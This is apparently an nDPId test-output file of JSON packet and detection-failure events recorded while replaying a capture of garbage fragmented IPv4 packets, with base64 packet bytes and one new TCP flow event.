+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6556,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779800,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6556,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6557,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779812,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6557,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6558,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779824,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6558,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6559,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779835,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6559,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6560,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779848,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6560,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6561,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779857,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6561,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6562,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779866,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6562,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6563,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779876,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6563,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6564,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779887,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6564,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6565,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779897,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6565,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6566,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779906,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6566,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6567,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779916,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6567,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6568,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779926,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6568,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6569,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779935,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6569,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6570,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779947,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6570,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6571,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779957,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6571,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6572,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779966,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6572,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00370{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6573,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":779976,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":42,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAi8udGdmdGc\/"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6573,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":8} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6574,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1534244031080,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":18258,"dst_port":16199,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6574,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80090,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAkdSP0dSP3NSPzc0ODM5NinCaAAA"} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6575,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80118,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6575,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6576,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80126,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6576,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6577,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80134,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6577,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6578,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80142,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6578,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6579,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80151,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6579,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6580,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80163,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6580,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6581,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80229,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6581,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6582,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80237,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6582,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6583,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80246,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6583,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6584,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80253,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6584,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6585,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80261,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6585,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6586,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80274,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6586,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6587,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80289,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6587,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6588,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80300,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6588,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6589,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80308,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6589,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6590,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80318,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6590,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6591,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80331,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6591,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6592,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80344,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6592,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6593,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80356,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6593,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6594,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80369,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6594,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6595,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80381,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6595,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6596,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80393,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6596,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6597,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80407,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6597,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 